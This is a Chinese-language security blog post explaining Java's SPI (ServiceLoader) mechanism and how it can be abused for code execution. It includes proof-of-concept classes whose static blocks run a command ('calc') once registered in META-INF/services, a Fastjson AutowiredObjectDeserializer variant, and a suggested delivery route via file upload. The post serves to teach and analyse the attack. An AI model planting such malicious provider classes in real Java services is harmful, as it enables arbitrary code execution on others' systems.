Mi1k7ea

Good Good Study


浅析Java SPI安全

阅读量

0x01 基本概念

SPI简介及思想

SPI全称Service Provider Interface,是Java提供的一套用来被第三方实现或者扩展的API,它可以用来启用框架扩展和替换组件。常见的SPI有JDBC、日志门面接口、Spring、SpringBoot相关starter组件、Dubbo、JNDI等。

Java SPI实际上是“基于接口的编程+策略模式+配置文件”组合实现的动态加载机制,在JDK中提供了工具类java.util.ServiceLoader来实现服务查找。

SPI的整体机制图如下:

系统设计的各个抽象,往往有很多不同的实现方案,在面向的对象的设计里,一般推荐模块之间基于接口编程,模块之间不对实现类进行硬编码。一旦代码里涉及具体的实现类,就违反了可拔插的原则,如果需要替换一种实现,就需要修改代码。为了实现在模块装配的时候能不在程序里动态指明,这就需要一种服务发现机制。Java SPI就是提供这样的一个机制:为某个接口寻找服务实现的机制。有点类似IOC的思想,就是将装配的控制权移到程序之外,在模块化设计中这个机制尤其重要。所以SPI的核心思想就是解耦。

在Jdk 6里面引进的一个新的特性ServiceLoader,从官方的文档来说,它主要是用来装载一系列的Service Provider。而且ServiceLoader可以通过Service Provider的配置文件来装载指定的Service Provider。当服务的提供者,提供了服务接口的一种实现之后,我们只需要在jar包的META-INF/services/目录里同时创建一个以服务接口命名的文件。该文件里就是实现该服务接口的具体实现类。而当外部程序装配这个模块的时候,就能通过该jar包META-INF/services/里的配置文件找到具体的实现类名,并装载实例化,完成模块的注入。

简单地说,SPI机制就是,服务端提供接口类和寻找服务的功能,客户端用户这边根据服务端提供的接口类来定义具体的实现类,然后服务端会在加载该实现类的时候去寻找该服务即META-INF/services/目录里的配置文件中指定的类。这就是SPI和传统的API的区别,API是服务端自己提供接口类并自己实现相应的类供客户端进行调用,而SPI则是提供接口类和服务寻找功能、具体的实现类由客户端实现并调用:

SPI使用示例

SPI机制的实现,具体的实现类就是java.util.ServiceLoader这个类。其原理是根据传入的接口类,遍历META-INF/services目录下的以该类命名的文件中的所有类,并实例化返回。

SPI使用步骤:

  1. 创建一个接口文件;
  2. 在resources目录下创建META-INF/services文件夹;
  3. 在services目录中创建文件,以接口全名命名该文件,称该文件为SPI配置文件;
  4. 创建接口实现类;
  5. 在SPI配置文件中填入接口实现类的全名;

下面具体看下例子。

第一步,创建一个接口文件,Search.java:

1
2
3
public interface Search {
List<String> searchDoc(String keyword);
}

第二步,在resources目录即src下创建META-INF/services文件夹:

第三步,在services目录中创建文件,以接口全名命名该文件:

第四步,创建接口实现类,这里分别创建FileSearch.java和DatabaseSearch.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// FileSearch.java
public class FileSearch implements Search {
@Override
public List<String> searchDoc(String keyword) {
System.out.println("文件搜索 "+keyword);
return null;
}
}

// DatabaseSearch.java
public class DatabaseSearch implements Search {
@Override
public List<String> searchDoc(String keyword) {
System.out.println("数据搜索 "+keyword);
return null;
}
}

第五步,在SPI配置文件中填入接口实现类的全名,这里先填FileSearch的:

最后,我们写一个测试程序:

1
2
3
4
5
6
7
8
9
10
public class Test {
public static void main(String[] args) {
ServiceLoader<Search> s = ServiceLoader.load(Search.class);
Iterator<Search> iterator = s.iterator();
while (iterator.hasNext()) {
Search search = iterator.next();
search.searchDoc("Java SPI Test");
}
}
}

运行输出如下:

1
文件搜索 Java SPI Test

如果SPI配置文件中的内容改为DatabaseSearch类的全名的话就输出:

1
数据搜索 Java SPI Test

若两个实现类都写入了,则两者都会进行输出。

这样就明显看到,实现方(或服务端)提供了接口类,具体调用哪个实现类由调用方(或客户端)通过SPI机制来指定调用。

0x02 SPI安全问题

根据SPI的思想,我们知道服务端提供的接口类是用户自己实现的,但如果攻击者根据接口类编写恶意的实现类,然后通过某种方式修改ClassPath中META-INF/services目录中的对应的SPI配置文件后,就会导致服务端在通过SPI机制调用用户自定义的恶意实现类时的任意代码执行。

Sample

Output.java,服务端提供的接口类,设计用来输出的接口类,在com.mi1k7ea包中:

1
2
3
4
5
package com.mi1k7ea;

public interface Output {
void outPut();
}

Test.java,服务端的通过SPI机制调用Output接口类的实现类的程序,在com.mi1k7ea包中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.mi1k7ea.Output;

import java.util.Iterator;
import java.util.ServiceLoader;

public class Test {
public static void main(String[] args) {
ServiceLoader<Output> s = ServiceLoader.load(Output.class);
Iterator<Output> iterator = s.iterator();
while (iterator.hasNext()) {
Output output = iterator.next();
output.outPut();
}
}
}

正常使用场景

OutputImpl类,实现Output接口类,是正常用户通过SPI机制根据Output接口类来定义的,重写outPut()函数实现输出,在com.user包中:

1
2
3
4
5
6
7
8
9
10
package com.user;

import com.mi1k7ea.Output;

public class OutputImpl implements Output {
@Override
public void outPut() {
System.out.println("I am OutputImpl.");
}
}

META-INF/services/com.mi1k7ea.Output,服务端Output接口类的SPI配置文件:

1
com.user.OutputImpl

运行服务端的Test,正常执行用户自定义实现的类并输出内容:

问题场景

Evil类,同样是用户根据SPI自定义实现Output接口类,但该类中添加了静态代码块来执行恶意命令(当然也可以在重写的方法中写入恶意代码,但服务端程序的调用实现类的时候不一定会调用该方法,因此写静态代码块才会必然使之触发):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.user;

import com.mi1k7ea.Output;

public class Evil implements Output {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void outPut() {
System.out.println("This is Evil.");
}
}

META-INF/services/com.mi1k7ea.Output,服务端Output接口类的SPI配置文件添加或直接修改为:

1
com.user.Evil

运行服务端程序Test,即可触发弹计算器:

反序列化Gadget——ScriptEngineManager

反序列化漏洞利用的其中一个Gadget——ScriptEngineManager,其利用原理就是Java的SPI机制。

具体的利用和调试分析可参考:Java SnakeYaml反序列化漏洞

Fastjson反序列化中的SPI

Fastjson在反序列化之前,会先获取ObjectDeserializer即对应的对象反序列化解析器。

ObjectDeserializer:先根据fieldType获取已缓存的解析器,如果没有则根据fieldClass获取已缓存的解析器,否则根据注解的JSONType获取解析器,否则通过当前线程加载器加载的AutowiredObjectDeserializer查找解析器,否则判断是否为几种常用泛型(比如Collection、Map等),最后通过createJavaBeanDeserializer来创建对应的解析器。

Fastjson在反序列化的时候支持通过Java的SPI机制扩展新的反序列化解析器,其中该解析器对应的接口类为com.alibaba.fastjson.parser.deserializer.AutowiredObjectDeserializer。

如果攻击者实现的该接口类的实现类存在恶意代码,且修改了SPI配置文件指向该恶意实现类,那么当服务端在进行Fastjson反序列化的过程中通过SPI机制调用的AutowiredObjectDeserializer接口类的实现类的时候就会导致恶意代码执行。

Sample

环境用jar包是fastjson-1.2.25。

FJTest.java,实现AutowiredObjectDeserializer接口类,在静态代码块中添加恶意命令执行的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.evil;

import com.alibaba.fastjson.parser.DefaultJSONParser;
import com.alibaba.fastjson.parser.deserializer.AutowiredObjectDeserializer;

import java.lang.reflect.Type;
import java.util.Set;

public class FJTest implements AutowiredObjectDeserializer {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public Set<Type> getAutowiredFor() {
return null;
}

@Override
public <T> T deserialze(DefaultJSONParser defaultJSONParser, Type type, Object o) {
return null;
}

@Override
public int getFastMatchToken() {
return 0;
}
}

在META-INF/services目录中新建名为com.alibaba.fastjson.parser.deserializer.AutowiredObjectDeserializer的文件,其中内容为:

1
com.evil.FJTest

当服务端存在Fastjson反序列化操作时,即可通过SPI触发恶意代码执行。这里假设服务端存在如下Fastjson反序列化操作,即反序列化得到Student类对象:

Student类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class Student {
private String name;
private int age;

public Student() {
System.out.println("构造函数");
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

Test.java,服务端进行Fastjson反序列化的程序:

1
2
3
4
5
6
public class Test {
public static void main(String[] args) {
String jsonstring ="{\"@type\":\"Student\",\"age\":6,\"name\":\"Mi1k7ea\"}";
Student obj = JSON.parseObject(jsonstring, Student.class, Feature.SupportNonPublicField);
}
}

运行Test程序进行正常的反序列化操作,直接触发弹计算器:

当然,我们本地示例是直接在ClassPath上进行创建META-INF/services目录的相关操作的,这种情景针对于目标服务端环境中,比如Tomcat容器中存在该META-INF/services目录,我们可以通过文件上传漏洞将恶意的SPI配置文件传至该目录中,再上传一个恶意的class导致恶意代码执行;除此之外,还有一种更常见的情景就是,通过jar包的形式来实现,但在实际场景的攻击利用中较为困难,因为目标服务端一般在运行Java Web相关环境时就已经指定好哪些jar加载到Java内存中解析执行,即使我们后面上传也没用。

调试分析

直接在恶意代码FJTest中的静态代码块Runtime.getRuntime().exec("calc");上打断点开始调试。

运行直接看到如下函数调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
<clinit>:12, FJTest (com.evil)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
load:49, ServiceLoader (com.alibaba.fastjson.util)
getDeserializer:475, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:364, ParserConfig (com.alibaba.fastjson.parser)
parseObject:636, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:243, JSON (com.alibaba.fastjson)
main:11, Test

可以看到,在ParserConfig.getDeserializer()函数调用中,会循环调用ServiceLoader.load()函数即通过SPI机制来到META-INF/services目录中加载AutowiredObjectDeserializer接口类的实现类:

跟进去ServiceLoader.load()函数,先获取接口类名、拼接出SPI配置文件的路径,然后调用getResources()从SPI配置文件中获取指定的实现类的URL地址,再循环将实现类都加载进来,加载后会调用newInstance()函数来新建该实现类对象实例:

再往下就是新建类实例的过程中执行了该恶意类的静态代码块的过程从而导致恶意代码执行了。

0x03 参考

Java SPI思想梳理

理解的Java中SPI机制


Copyright © Mi1k7ea | 本站总访问量